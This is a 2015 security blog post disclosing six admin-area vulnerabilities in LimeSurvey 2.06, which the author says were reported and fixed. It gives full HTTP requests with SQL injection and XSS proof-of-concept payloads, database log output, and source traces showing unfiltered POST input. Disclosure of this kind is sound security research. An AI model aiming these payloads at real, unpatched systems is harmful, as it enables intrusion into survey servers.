Saturday, 26 December 2015

New version of Lime Survey

As far as I know LimeSurvey is already updated, so below you will find all described vulnerabilities I found nearly 2 months ago during some small 'code review' exercises.

Response from LimeSurvey Team was very fast! :)

Found: 4.11.2015
Sent:    5.11.2015
Resp:   5.11.2015

AFAIK all findings were fixed in 48h. So... here we go:



=========================================================
Title        : LimeSurvey 2.06 - Multiple vulnerabilities
Version   : stable-release-limesurvey206plus-build151018.zip
Found     : 04.11.2015

=========================================================

Summary:

    All described vulnerabilities were found in section related to admin.

    Case I ------------ SQL Injection in "searchcondition"
    Case II ----------- XSS in "page"
    Case III ---------- XSS in "filterbea"
    Case IV ---------- Information disclosure a.k.a. 'method enumeration'
    Case V ----------- XSS in "templatename"

    Case VI ---------- XSS in "lang" 
 
   
   

=========================================================
CASE I: SQL Injection in "searchcondition"
=========================================================


---<request>---
POST /limesurvey/index.php/admin/participants/sa/getParticipantsResults_json HTTP/1.1
Host: 192.168.1.5
(...)
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.5/limesurvey/index.php/admin/participants/sa/displayParticipants
Content-Length: 192
Cookie: PHPSESSID=vmu9d3vriajf213m0u7lmdbl36; YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0
Connection: close
Pragma: no-cache
Cache-Control: no-cache

YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0&searchcondition='>"><body/onload=alert(123123)>%7C%7Cequal%7C%7Ca&_search=false&nd=1446643744367&rows=25&page=1&sidx=firstname&sord=desc

---</request>---



After enabling log's in MySQL, we can find:

---<logfile>---

151104  8:55:13    71 Connect   root@localhost on limesurvey
                   71 Query     SET NAMES 'utf8'
                   71 Query     SELECT * FROM `lime_settings_global` `t`
                   71 Query     SELECT * FROM `lime_plugins` `t` WHERE `t`.`active`=1
                   71 Query     SELECT * FROM `lime_permissions` `t` WHERE `t`.`entity_id`=0 AND `t`.`e                                                                 ntity`='global' AND `t`.`uid`=1 AND `t`.`permission`='superadmin' LIMIT 1
                   71 Query     SELECT * FROM `lime_participant_attribute_names` `t` WHERE visible = 'T                                                                 RUE'
                   71 Query     SELECT `lime_participant_attribute_names`.* FROM `lime_participant_attribute_names`
ORDER BY `lime_participant_attribute_names`.`attribute_id`
                   71 Query     SELECT count(*) as cnt FROM `lime_participants` `p` left join lime_users luser
                   ON luser.uid=p.owner_uid WHERE ('>"><body/onload=alert(123123)> = 'a')
                   71 Quit

---<logfile>---
                  

Response on web should looks similar to this one (btw: one below is of course for different payload):

---<response>---                  
</head>

<body>
<h1>Internal Server Error</h1>
<h2>CDbCommand failed to execute the SQL statement: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&quot;%&#039;;/**;--# = &#039;a&#039;)&#039; at line 4</h2>
<p>
An internal error occurred while the Web server was processing your request.
Please contact the webmaster to report this problem.
</p>
<p>
Thank you.
</p>
<div class="version">
2015-11-04 08:29:59 </div>
---</response>---



=========================================================
CASE II: XSS
in "page"
=========================================================

Request looks like this:

---<request>---


POST /limesurvey/index.php/admin/participants/sa/getAttributeInfo_json HTTP/1.1
Host: 192.168.1.5
(...)
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.5/limesurvey/index.php/admin/participants/sa/attributeControl
Content-Length: 160
Cookie: PHPSESSID=vmu9d3vriajf213m0u7lmdbl36; YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0
(...)
Cache-Control: no-cache

YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0&_search=false&nd=1446643645699&rows=25&
page='>"><body/onload=alert(123123)>&sidx=attribute_name&sord=asc

---</request>---


Let's find 'page' parameter:

root@heaphop:/var/www/html/limesurvey# grep -nr -e "\$page " ./ | grep getPost
./application/controllers/admin/participantsaction.php:386:        $page = Yii::app()->request->getPost('page');
./application/controllers/admin/participantsaction.php:764:        $page = (int) Yii::app()->request->getPost('page');
./application/controllers/admin/tokens.php:357:        $page  = Yii::app()->request->getPost('page', 1);
root@heaphop:/var/www/html/limesurvey#

As we will see below, the body of getPost() need some filters:
(...)
   197          public function getPost($name,$defaultValue=null)
   198          {
*  199                  return isset($_POST[$name]) ? $_POST[$name] : $defaultValue;
   200          }
(...)



=========================================================
CASE III: XSS
in "filterbea"
=========================================================

Again, XSS vulnerability:

---<request>---
POST /limesurvey/index.php/admin/participants/sa/attributeMapCSV HTTP/1.1
Host: 192.168.1.5
(...)
Referer: http://192.168.1.5/limesurvey/index.php/admin/participants/sa/importCSV
Cookie: PHPSESSID=vmu9d3vriajf213m0u7lmdbl36; YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------27432681027439
Content-Length: 772

-----------------------------27432681027439
Content-Disposition: form-data; name="YII_CSRF_TOKEN"

c36af5a641de36a66bc377f9e85a84b81e234ff0
-----------------------------27432681027439
Content-Disposition: form-data; name="the_file"; filename="mishell.csv"
Content-Type: application/vnd.ms-excel

<?php blash();
-----------------------------27432681027439
Content-Disposition: form-data; name="characterset"

auto
-----------------------------27432681027439
Content-Disposition: form-data; name="separatorused"

auto
-----------------------------27432681027439
Content-Disposition: form-data; name="filterbea"

';alert(123);//;]
-----------------------------27432681027439--
---</request>---



XSS occurs also when content of CSV file is delivered in HTML/JS code.
Also vulnerable in this request is "characters" parameter.


Looking for (first) parameter in the code:

---<code>---
k@heaphop:/var/www/html/limesurvey$ grep -nr -e filterbea --color ./
./application/views/admin/participants/importCSV_view.php:58:            <input type="checkbox" name="filterbea" value="accept" checked="checked"/></li>
./application/controllers/admin/participantsaction.php:1069:            $filterblankemails = Yii::app()->request->getPost('filterbea');
./application/controllers/admin/participantsaction.php:1128:                'filterbea' => $filterblankemails,
[2]./application/controllers/admin/participantsaction.php:1164:        $filterblankemails = Yii::app()->request->getPost('filterbea');
[1]./scripts/admin/attributeMapCSV.js:167:            filterbea : filterblankemails
./tmp/assets/4d47b42b/c_c07fffd6895085b3918cd1f5eff2bbae.js:2577:            filterbea : filterblankemails
k@heaphop:/var/www/html/limesurvey$
---</code>---

First of all, let's check file contain JS:
---<code>---
./scripts/admin/attributeMapCSV.js:167:            filterbea : filterblankemails
(...)
k@heaphop:/var/www/html/limesurvey$ cat -n  ./scripts/admin/attributeMapCSV.js | less

   159
   160          $("#processing").load(copyUrl, {    <= [1]
   161              characterset: characterset,
   162              separatorused : separator,
   163              fullfilepath : thefilepath,
   164              newarray : anewcurrentarray,
   165              mappedarray : mappedarray,
   166              overwrite : attoverwrite,
   167              filterbea : filterblankemails    <= [2]
   168          }, function(msg){

---</code>---


In [2] we can see our parameter, in [1] there is a .load() function
and it "look's like" jQuery/AJAX-function: http://api.jquery.com/load/

So, after checking description on page (.load() purpose):
"Load data from the server and place the returned HTML into the matched element."

Great.

Let check second file:

---<code>---
k@heaphop:/var/www/html/limesurvey$ cat -n ./application/controllers/admin/participantsaction.php | less

  1065          if (strtolower($sExtension)=='csv')
  1066          {
  1067              $bMoveFileResult = @move_uploaded_file($_FILES['the_file']['tmp_name'], $sFilePath);
  1068              $errorinupload = '';
  1069              $filterblankemails = Yii::app()->request->getPost('filterbea');
  1070          }
  1071          else
  1072          {
  1073              $templateData['errorinupload']['error'] = gT("This is not a .csv file.");
---</code>---

Good.

Let's find getPost() function:

---<code>---
k@heaphop:/var/www/html/limesurvey/framework$ grep -nr -e "function getPost" ./

./web/CHttpRequest.php:197:     public function getPost($name,$defaultValue=null)
./yiilite.php:2308:     public function getPost($name,$defaultValue=null)

k@heaphop:/var/www/html/limesurvey/framework$ cat -n web/CHttpRequest.php | less

   188          /**
   189           * Returns the named POST parameter value.
   190           * If the POST parameter does not exist, the second parameter to this method will be returned.
   191           * @param string $name the POST parameter name
   192           * @param mixed $defaultValue the default parameter value if the POST parameter does not exist.
   193           * @return mixed the POST parameter value
   194           * @see getParam
   195           * @see getQuery
   196           */
   197          public function getPost($name,$defaultValue=null)
   198          {
*  199                  return isset($_POST[$name]) ? $_POST[$name] : $defaultValue;
   200          }
   201
  
---</code>---

So filtering is missing again. (By the way, it will be good idea to check other 'get'-like functions:
getPost(), getConfig(), and so on.)




=========================================================
CASE IV: Information disclosure
a.k.a. 'method enumeration'
=========================================================


Requesting non-existing method, like 'export':
http://192.168.1.5/limesurvey/index.php/admin/export

will print:

---<response>---

Internal Server Error
Method export::index() does not exist

An internal error occurred while the Web server was processing your request. Please contact the webmaster to report this problem.

Thank you.
2015-11-04 16:09:55

---</response>---

so 'method-enumeration' is possible (if displaying errors is enabled of course).


=========================================================
CASE V: XSS
in "templatename"
=========================================================


Full request to vulnerable parameter:

---<request>---
POST /limesurvey/index.php/admin/templates/sa/templatesavechanges HTTP/1.1
Host: 192.168.1.5
(...)
Referer: http://192.168.1.5/limesurvey/index.php/admin/templates/sa/view/templatename/__________________________________________tmp_teraz
Cookie: PHPSESSID=3t2jvf1p7n44msqgmsvjkhd534; YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=size; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=on
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2070

YII_CSRF_TOKEN=c36af5a641de36a66bc377f9e85a84b81e234ff0&templatename='>"><body/onload%3dalert(1)>&screenname=welcome&editfile=startpage.pstpl&action=templatesavechanges&changes=%3Cmeta+http-equiv%3D%22content(...)++++++%3Ctd%3E%0D%0A
---</request>---


Response will contain XSS code:

---<response>---

<div class="warningheader">Error</div><br />
The file /var/www/html/limesurvey/upload/templates/'>"><body/onload=alert(1)>/startpage.pstpl is not writable<br /><br />
<input type="submit" value

---</response>---


Param used:

---<code>---
root@heaphop:/var/www/html/limesurvey/application/controllers/admin# grep -nr -e "Yii::app()->getConfig('" ./ --color | grep templatename
./templates.php:410:            $the_full_file_path = Yii::app()->getConfig('usertemplaterootdir') . "/" . $_POST['templatename'] . "/" . $sFileToDelete;
./templates.php:519:            if (rmdirr(Yii::app()->getConfig('usertemplaterootdir') . "/" . $templatename) == true) {
./templates.php:584:                $savefilename = Yii::app()->getConfig('usertemplaterootdir') . "/" . $templatename . "/" . $editfile;
./templates.php:745:        if (is_file(Yii::app()->getConfig('usertemplaterootdir') . '/' . $templatename . '/question_start.pstpl'))
./templates.php:883:        if (is_file(Yii::app()->getConfig('usertemplaterootdir') . '/' . $templatename . '/question_start.pstpl')) {
./templates.php:902:            $templatename = Yii::app()->getConfig('defaulttemplate');

root@heaphop:/var/www/html/limesurvey# grep -nr -e templatename ./ | grep POST
./application/controllers/admin/templates.php:410:            $the_full_file_path = Yii::app()->getConfig('usertemplaterootdir') . "/" . $_POST['templatename'] . "/" . $sFileToDelete;

root@heaphop:/var/www/html/limesurvey# vim application/controllers/admin/templates.php
(...)

   406          if (returnGlobal('action') == "templatefiledelete") {
   407              // This is where the temp file is
   408              $sFileToDelete=preg_replace("[^\w\s\d\.\-_~,;:\[\]\(\]]", '', returnGlobal('otherfile'));
   409
   410              $the_full_file_path = Yii::app()->getConfig('usertemplaterootdir') . "/" . $_POST['templatename'] . "/" . $sFileToDelete;
   411              if (@unlink($the_full_file_path))
   412              {
   413                  Yii::app()->session['flashmessage'] = sprintf(gT("The file %s was deleted."), htmlspecialchars($sFileToDelete));
   414              }

---</code>---


==========================================================
Case VI - XSS in "lang" parameter
==========================================================
https://LimeSurvey/index.php/surveys/publiclist?lang='>"><xss>


=========================================================
Questions / Answers
=========================================================

Blog    -    http://HauntIT.blogspot.com/
Twitter -   @HauntITBlog


Cheers

No comments:

Post a Comment

What do You think...?